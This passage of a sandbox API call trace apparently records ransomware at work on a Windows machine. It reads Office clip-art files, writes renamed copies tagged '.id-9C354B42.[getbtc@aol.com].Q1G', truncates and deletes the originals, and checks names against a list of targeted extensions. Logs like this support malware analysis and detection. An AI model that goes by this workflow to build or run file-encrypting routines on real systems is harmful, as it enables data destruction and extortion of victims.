WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0251.974] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.974] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.974] SetEndOfFile (hFile=0x1f8) returned 1 [0251.974] CloseHandle (hObject=0x1f8) returned 1 [0251.974] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.974] SetEndOfFile (hFile=0x398) returned 1 [0251.976] CloseHandle (hObject=0x398) returned 1 [0251.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0252.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.400] lstrlenW (lpString=".doc") returned 4 [0252.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.400] lstrlenW (lpString=".docx") returned 5 [0252.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.400] lstrlenW (lpString=".pdf") returned 4 [0252.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.400] lstrlenW (lpString=".xls") returned 4 [0252.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.400] lstrlenW (lpString=".xlsx") returned 5 [0252.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.400] lstrlenW (lpString=".ppt") returned 4 [0252.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.400] lstrlenW (lpString=".zip") returned 4 [0252.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.400] lstrlenW (lpString=".rar") returned 4 [0252.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.400] lstrlenW (lpString=".bz2") returned 4 [0252.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.400] lstrlenW (lpString=".7z") returned 3 [0252.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.401] lstrlenW (lpString=".dbf") returned 4 [0252.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.401] lstrlenW (lpString=".1cd") returned 4 [0252.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.401] lstrlenW (lpString=".jpg") returned 4 [0252.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.401] lstrlenW (lpString=".doc") returned 4 [0252.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.401] lstrlenW (lpString=".docx") returned 5 [0252.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.401] lstrlenW (lpString=".pdf") returned 4 [0252.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.401] lstrlenW (lpString=".xls") returned 4 [0252.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.401] lstrlenW (lpString=".xlsx") returned 5 [0252.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.401] lstrlenW (lpString=".ppt") returned 4 [0252.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.401] lstrlenW (lpString=".zip") returned 4 [0252.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.401] lstrlenW (lpString=".rar") returned 4 [0252.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.401] lstrlenW (lpString=".bz2") returned 4 [0252.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.401] lstrlenW (lpString=".7z") returned 3 [0252.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.401] lstrlenW (lpString=".dbf") returned 4 [0252.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.401] lstrlenW (lpString=".1cd") returned 4 [0252.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0252.402] lstrlenW (lpString=".jpg") returned 4 [0252.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.402] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.402] lstrlenW (lpString="HH01923_.WMF") returned 12 [0252.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.402] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=26706) returned 1 [0252.402] CloseHandle (hObject=0x394) returned 1 [0252.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20 [0252.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.403] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.403] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0252.403] GetLastError () returned 0x0 [0252.403] ReadFile (in: hFile=0x394, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x6852, lpOverlapped=0x0) returned 1 [0252.431] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x6860, lpOverlapped=0x0) returned 1 [0252.432] ReadFile (in: hFile=0x394, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.432] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.432] SetEndOfFile (hFile=0x20c) returned 1 [0252.432] CloseHandle (hObject=0x20c) returned 1 [0252.433] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.433] SetEndOfFile (hFile=0x394) returned 1 [0252.435] CloseHandle (hObject=0x394) returned 1 [0252.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0252.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.436] lstrlenW (lpString=".doc") returned 4 [0252.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.436] lstrlenW (lpString=".docx") returned 5 [0252.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.436] lstrlenW (lpString=".pdf") returned 4 [0252.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.436] lstrlenW (lpString=".xls") returned 4 [0252.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.436] lstrlenW (lpString=".xlsx") returned 5 [0252.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.436] lstrlenW (lpString=".ppt") returned 4 [0252.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.436] lstrlenW (lpString=".zip") returned 4 [0252.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.437] lstrlenW (lpString=".rar") returned 4 [0252.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.437] lstrlenW (lpString=".bz2") returned 4 [0252.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.437] lstrlenW (lpString=".7z") returned 3 [0252.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.437] lstrlenW (lpString=".dbf") returned 4 [0252.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.437] lstrlenW (lpString=".1cd") returned 4 [0252.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.437] lstrlenW (lpString=".jpg") returned 4 [0252.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.437] lstrlenW (lpString=".doc") returned 4 [0252.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.437] lstrlenW (lpString=".docx") returned 5 [0252.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.437] lstrlenW (lpString=".pdf") returned 4 [0252.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.437] lstrlenW (lpString=".xls") returned 4 [0252.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.437] lstrlenW (lpString=".xlsx") returned 5 [0252.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.437] lstrlenW (lpString=".ppt") returned 4 [0252.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.437] lstrlenW (lpString=".zip") returned 4 [0252.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.437] lstrlenW (lpString=".rar") returned 4 [0252.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.437] lstrlenW (lpString=".bz2") returned 4 [0252.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.438] lstrlenW (lpString=".7z") returned 3 [0252.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.438] lstrlenW (lpString=".dbf") returned 4 [0252.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.438] lstrlenW (lpString=".1cd") returned 4 [0252.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0252.438] lstrlenW (lpString=".jpg") returned 4 [0252.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.438] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.438] lstrlenW (lpString="HH02166_.WMF") returned 12 [0252.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.438] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1324) returned 1 [0252.438] CloseHandle (hObject=0x394) returned 1 [0252.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20 [0252.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0252.439] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.439] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0252.442] GetLastError () returned 0x0 [0252.442] ReadFile (in: hFile=0x394, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x52c, lpOverlapped=0x0) returned 1 [0252.600] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x530, lpOverlapped=0x0) returned 1 [0252.602] ReadFile (in: hFile=0x394, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.602] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.603] SetEndOfFile (hFile=0x20c) returned 1 [0252.603] CloseHandle (hObject=0x20c) returned 1 [0252.603] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.603] SetEndOfFile (hFile=0x394) returned 1 [0252.605] CloseHandle (hObject=0x394) returned 1 [0252.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0252.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.606] lstrlenW (lpString=".doc") returned 4 [0252.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.606] lstrlenW (lpString=".docx") returned 5 [0252.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.606] lstrlenW (lpString=".pdf") returned 4 [0252.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.606] lstrlenW (lpString=".xls") returned 4 [0252.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.606] lstrlenW (lpString=".xlsx") returned 5 [0252.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.606] lstrlenW (lpString=".ppt") returned 4 [0252.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.606] lstrlenW (lpString=".zip") returned 4 [0252.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.607] lstrlenW (lpString=".rar") returned 4 [0252.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.607] lstrlenW (lpString=".bz2") returned 4 [0252.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.607] lstrlenW (lpString=".7z") returned 3 [0252.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.607] lstrlenW (lpString=".dbf") returned 4 [0252.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.607] lstrlenW (lpString=".1cd") returned 4 [0252.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.607] lstrlenW (lpString=".jpg") returned 4 [0252.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.607] lstrlenW (lpString=".doc") returned 4 [0252.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.607] lstrlenW (lpString=".docx") returned 5 [0252.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.607] lstrlenW (lpString=".pdf") returned 4 [0252.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.607] lstrlenW (lpString=".xls") returned 4 [0252.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.607] lstrlenW (lpString=".xlsx") returned 5 [0252.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.607] lstrlenW (lpString=".ppt") returned 4 [0252.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.607] lstrlenW (lpString=".zip") returned 4 [0252.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.607] lstrlenW (lpString=".rar") returned 4 [0252.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.607] lstrlenW (lpString=".bz2") returned 4 [0252.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.608] lstrlenW (lpString=".7z") returned 3 [0252.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.608] lstrlenW (lpString=".dbf") returned 4 [0252.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.608] lstrlenW (lpString=".1cd") returned 4 [0252.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0252.608] lstrlenW (lpString=".jpg") returned 4 [0252.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.608] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.608] lstrlenW (lpString="HH02312_.WMF") returned 12 [0252.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.619] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4970) returned 1 [0252.619] CloseHandle (hObject=0x1f8) returned 1 [0252.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x20 [0252.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0252.664] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.664] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.665] GetLastError () returned 0x0 [0252.665] ReadFile (in: hFile=0x3ac, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x136a, lpOverlapped=0x0) returned 1 [0252.679] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0252.749] ReadFile (in: hFile=0x3ac, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.749] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.749] SetEndOfFile (hFile=0x1f8) returned 1 